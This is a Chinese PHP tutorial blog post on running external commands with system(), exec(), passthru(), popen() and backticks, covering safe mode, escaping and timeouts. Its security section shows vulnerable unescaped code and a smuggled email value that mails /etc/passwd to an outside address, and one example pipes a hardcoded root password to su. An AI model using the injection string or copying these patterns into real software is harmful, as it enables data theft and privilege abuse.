- 浏览: 157002 次
- 性别:
- 来自: 深圳
文章分类
最新评论
-
NickWar:
脚本很好用,感谢楼主分享
但我只能导出10篇文档的xml ...
原创使用google reader + PHP将iteye博客数据导入到wordpress中 -
再逢山水:
ninedoors 写道这位仁兄,还有一个问题,感觉挺诡异的, ...
ThinkPHP中M和D函数的区别 -
ninedoors:
这位仁兄,还有一个问题,感觉挺诡异的,却不知道原因。我在用th ...
ThinkPHP中M和D函数的区别 -
柏新星:
谢谢 最起码简单的了解了一些 呵呵
stdClass的介绍
由于PHP基本是用于WEB程序开发的,所以调用外部系统命令安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。
如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
passthru()
原型:void passthru (string command [, int return_var])
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
例子1:
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
引用
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
system("/usr/local/bin/webalizer/webalizer");
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
exec("/bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc);
passthru()
原型:void passthru (string command [, int return_var])
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm");
2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
例子1:
$fp=popen("/bin/ls -l", "r");
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
/* PHP中如何增加一个系统用户 下面是一段例程,增加一个名字为james的用户, root密码是 verygood。仅供参考 */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp);
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
$res='/bin/ls -l'; echo ' '.$res.' ';
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
system("mail $to < products.txt"); echo "我们的产品目录已经发送到你的信箱:$to";
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null &");
发表评论
-
PHP stream_context_create()作用和用法分析
2013-04-03 10:28 0创建并返回一个文本数据流并应用各种选项,可用于fopen(), ... -
PHP - Iterator接口的解释
2012-12-06 14:23 910Iterator的接口定义如下: Iterato ... -
HTTP协议状态码详解(HTTP Status Code)
2012-08-13 10:41 1020使用php或者javascript都会 ... -
spl_autoload_register 函数详解
2012-06-19 11:45 6733spl_autoload_register (PHP 5 &g ... -
PHP 程序员学数据结构与算法之《栈》
2012-11-24 17:01 1263介绍 “要成高 ... -
MySQL字段类型
2012-03-13 12:21 900MySQL支持大量的列类型 ... -
20个数据库设计的最佳实践
2012-02-27 10:33 11261、使用定义明确的表或列名,并保持一致(例如,School、S ... -
PHP中curl_setopt的CURLOPT系列 选项(转)
2012-01-17 15:41 3455curl_setopt()函数将为一个CURL会话设置选项。 ... -
2011年最热门的开源PHP项目回顾
2012-01-01 12:07 1181本文来自于对活跃在SourceForge和GitHub上的项目 ... -
PHP开发者常犯的10个MySQL错误
2012-01-01 12:03 921数据库是WEB大多数应用 ... -
PHP XML操作类DOMDocument
2011-08-29 14:18 1391不得不自已写一个.XML ... -
二十五个顶级PHP模板引擎整理
2011-08-09 17:20 1057为了找到一个好的模板引擎,我在互联网上进行搜索,目前已经整理出 ... -
php接收二进制数据流转换成图片
2011-08-04 17:49 11465<?php /** * 图片类 * @au ... -
PHP性能优化贴士——产生高度优化代码
2011-07-19 09:43 995PHP是一种在服务器端执 ... -
PHP register_shutdown_function函数详解
2011-07-18 11:47 1433脚本时常死掉,而且并不总是那么好看. 我们可不想给用户 ... -
PHP程序员最常犯的11个MySQL错误
2011-06-30 15:58 729对于大多数web应用来说,数据库都是一个十分基础性的部 ... -
简述MVC思想与PHP如何实现MVC
2011-06-20 11:17 894我相信已经有很多这样 ... -
PHP中的生成XML文件的4种方法
2011-06-15 11:56 2532<?xml version="1.0&qu ... -
stdClass的介绍
2011-06-02 10:11 1105在PHP开发中,很多时候都会看到别人的代码里有 $use ... -
【转】PHP工程师面临的成长瓶颈
2011-05-26 16:39 829作为Web开发中应用最广 ...
相关推荐
在 PHP 手册中,有一节关于安全模式下的限制函数,包括 backtick operator、shell_exec、exec、system、passthru 和 popen 等函数。这些函数在安全模式下被禁用或限制。 * backtick operator:在安全模式下被禁用。...
总结来说,`exec`、`system`、`passthru`和`escapeshellcmd`是PHP中调用系统命令的强大工具,但在使用时必须考虑到它们的安全性。遵循最佳实践,如限制用户输入、正确处理输出和错误,以及使用适当的输入验证和转义...
在PHP编程中,有时我们需要调用操作系统级别的命令来完成特定任务,例如文件操作、系统管理等。PHP提供了几个内建函数来实现这一点,其中最常用的是`exec`和`system`。本文将深入探讨这两个函数的用法及其区别。 1....
此外,还有其他一些与`exec`相关的函数,如`system`、`passthru`、`shell_exec`等,它们也用于执行系统命令,但各有不同的特性和使用场景。例如,`system`会显示命令的完整输出,而`shell_exec`则返回命令的全部输出...
Windows下php执行函数调用python 三种system(),passthru(),exec()
PHP 为执行外部命令提供大量函数,其中包括 shell_exec()、exec()、passthru() 和 system()。这些命令是相似的,但为您运行的外部程序提供不同的界面。
6. **其他替代方案**:除了`exec`和`shell_exec`,PHP还有其他类似函数,如`system`、`passthru`等,它们在不同场景下各有优缺点,选择时需根据需求和安全性考虑。 总之,`exec`和`shell_exec`都是PHP中执行系统...
PHP提供了几个函数来实现这一目标,这些函数包括`system()`, `exec()`, `shell_exec()`, `passthru()`以及`popen()`。下面是对这些函数的详细解释: 1. **system()** 函数: - `system($cmd)`允许你直接执行一个...
最后,当使用这些方法排查无返回值问题时,还可以检查exec()函数的调用代码,确保命令字符串没有拼写错误,参数传递正确,并且检查是否在调用exec()函数之前或之后,有其他代码可能影响到了命令的执行。 综上所述,...
在PHP编程语言中,存在一些潜在的危险函数,如果使用不当,可能会导致严重的安全问题,如数据泄露、代码注入或服务器资源滥用。本教程将详细解析这些危险函数,帮助开发者了解其风险,避免在实际应用中误用。 一、...
标题中的“php外部执行命令函数用法小结”是指在PHP编程中,如何利用特定的内置函数来调用操作系统(通常是在Linux环境下)的命令。这些函数允许PHP代码与操作系统进行交互,执行如文件操作、系统管理等任务。在描述...
最后,了解`exec`、`system`、`passthru`、`shell_exec`等函数之间的差异和用法是很重要的。这些函数都是用来执行系统命令的,但它们的返回值、错误处理和输出处理方式有所不同。例如,`system`会直接显示命令的输出...
**PHP中的`exec()`函数与命令注入** 在PHP中,`exec()`函数是一个非常强大的工具,它允许开发者直接执行系统级别的shell命令,并获取命令的输出。然而,这种能力也带来了安全风险,特别是当命令的构建涉及到用户...
在PHP中,禁用函数是一项安全措施,用于防止潜在有害或不安全的函数在服务器环境中被执行。这通常在共享主机环境中执行,以保护服务器免受恶意脚本的攻击。禁用函数列表可以在PHP配置文件`php.ini`中进行设置。 要...
disable_functions = proc_open, popen, exec, system, shell_exec, passthru 这里要把 exec 去掉 重启 apache 就OK了 6.本源码必须安装在网站根目录,不支持二级目录!切记! 7.开启用户,网站文件读写权限!...
文件中设置disable_functions参数,禁用一些可能被恶意利用的函数,如passthru、exec、system等。此外,也可以设置safe_mode参数,限制PHP的权限。 3. 设置Apache配置文件 在httpd.conf文件中设置User和Group参数...
在PHP安全配置中,`disable_functions`是一个关键的设置,用于禁用可能带来安全风险的函数,例如`system`, `shell_exec`, `exec`等。然而,在渗透测试或实际的安全场景下,攻击者可能会尝试绕过这个限制,执行他们想...